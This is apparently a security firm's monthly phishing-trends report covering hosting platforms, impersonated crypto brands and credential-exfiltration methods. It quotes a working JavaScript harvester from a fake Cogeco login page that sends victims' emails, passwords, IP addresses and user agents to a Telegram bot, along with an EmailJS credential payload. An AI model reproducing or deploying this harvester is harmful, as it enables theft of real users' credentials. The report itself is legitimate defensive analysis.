This month the biggest shift in our data was crypto. About a quarter of the phishing sites we confirmed were impersonating crypto wallets and exchanges, with Ledger and Trezor leading the pack.
The Numbers
All the data discussed in this post was collected by Huginn, our active phishing discovery system, plus confirmed submissions to Yggdrasil. Each entry has been manually investigated and confirmed. At the time of collection, we check against Google Safe Browsing (GSB), and we are seeing that GSB only blocks ~10% of our collected phishing websites. While we do not know how long a phishing website has been live when we get to it, that does not change the fact that most internet users are essentially unprotected against these sites for at least some period of time. In the future, we plan to set up tooling to get a better understanding of the timeline of these attacks so that we can give better numbers around how long they are live and unblocked.
Where Phishing Lives
Unsurprisingly, most phishing websites we see are hosted on trusted platforms (77%). This allows attackers to get an out-of-the-box trusted webpage because blocklists can't afford to block weebly.com without shutting down many legitimate sites. This list covers the major providers we have seen hosting phishing websites and their percentage share of the total.
Google includes docs, sites, scripts, and related Google-hosted surfaces.
Who's Being Impersonated
We have seen a recent uptick in the number of crypto entities impersonated, representing ~25% of our dataset. Here is a list of the primary companies we see impersonated and their percentage share of the total.
Phishing Hosting and Collection Vectors
The hosting infrastructure used for a phishing website often has an impact on how attackers exfiltrate the credentials they are collecting. A good example of this is GitHub Pages (domain github.io), which is an offering from GitHub that allows anyone to turn their GitHub repository into a website. This provides attackers with an easy method to spin up a phishing site and have it hosted on a trusted domain, thus avoiding early blocklisting. The catch is that it only supports static assets, which means everything must be done in the user's browser. This requirement means that the attacker's code is completely readable for those who care to look. Below are a couple of trends we have noticed from looking at some of these phishing sites.
EmailJS
EmailJS is a service that allows you to send emails programmatically in JavaScript. This allows attackers to collect the credentials by sending themselves an email when a victim clicks submit on, say, a login form. An example request payload sent to the EmailJS API from a real phishing website looks like:
{"service_id":<string>,"template_id":<string>,"user_id":<string>,"template_params":{"email":<string>,"password":<string>,"time":<timestamp>}}Breaking this down, the service_id points to an internal mapping configured in the account (e.g., Gmail, SMTP, etc.). The template_id refers to a specific template defined by the attacker (think formatting). The user_id is the public account identifier. Finally, the template_paramsdefine the content sent in the email. In this specific case, this payload would trigger an email to be sent to the attacker with the victim's email and password for their bank account.
Telegram API
Perhaps unsurprisingly, the most common method we have seen is using Telegram's API. Below is a real example of a JavaScript function triggered when a user tries to log in on a fake Cogeco login page:
async function handleSubmit() {
const emailInput = document.getElementById("email");
const passwordInput = document.getElementById("password");
const errorBox = document.getElementById("emailError");
const email = emailInput.value.trim();
const password = passwordInput.value;
if (!email || !password) {
errorBox.textContent = "Please enter both email and password.";
return;
}
const userAgent = navigator.userAgent;
const date = new Date().toLocaleString();
try {
const ipRes = await fetch("https://api.ipify.org?format=json");
const ipData = await ipRes.json();
const ip = ipData.ip;
const message = `Login Attempt #${attempt + 1}\nEmail: ${email}\nPassword: ${password}\nIP: ${ip}\nUser Agent: ${userAgent}\nDate: ${date}`;
// Send to Telegram
await fetch("https://api.telegram.org/bot<token>/sendMessage", {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify({
chat_id: "5878024704",
text: message
})
});
attempt++;
if (attempt >= 2) {
window.location.href = "https://www.cogeco.ca";
} else {
errorBox.textContent = "Invalid email or password.";
passwordInput.value = "";
}
} catch (error) {
console.error("Telegram Error:", error);
errorBox.textContent = "Connection error. Try again.";
}
}Looking at this function, we can see it is grabbing the credentials as well as the victim's user agent (a bit of metadata that indicates the type of browser, operating system, and device type) and IP address. It then formats this into a message and uses the Telegram API to have a bot send a message. The attacker will operationalize this by creating a private chat with this bot so that they can see all the messages it sends, or they will set up a webhook (an endpoint on the web that expects data sent to it). One additional piece of obfuscation delivered by this code is that it will make you think you have entered the wrong credentials the first time by setting an error box to "Invalid email or password." Once the victim has entered their credentials again, they will then be redirected to the legitimate website.
From an attacker's perspective, these static hosting services are nice because they make it easy to spin up a phishing website as there isn't the additional overhead of managing a server or hosting any backend code. However, they are relying on the fact that most internet users are not inspecting the code they are running in their browsers. If an internet user were to look at the code, it would become painfully obvious what is going on here. Not only that, but the methods shown above provide all the necessary information to report the attacker to the service they are making use of. Furthermore, if the enterprising internet user did a little digging into the Telegram API, they would find that knowing a bot token means they have all sorts of inadvisable options for playing tricks on phishers, like, for example, setting up their own webhook and diverting all the bot messages to it or flooding their chat with random made-up credentials.
Stay tuned for next month's writeup and some updates to our tooling. If you're in the crypto space and want to talk about what we're seeing or what detection tooling could look like for your community, reach out.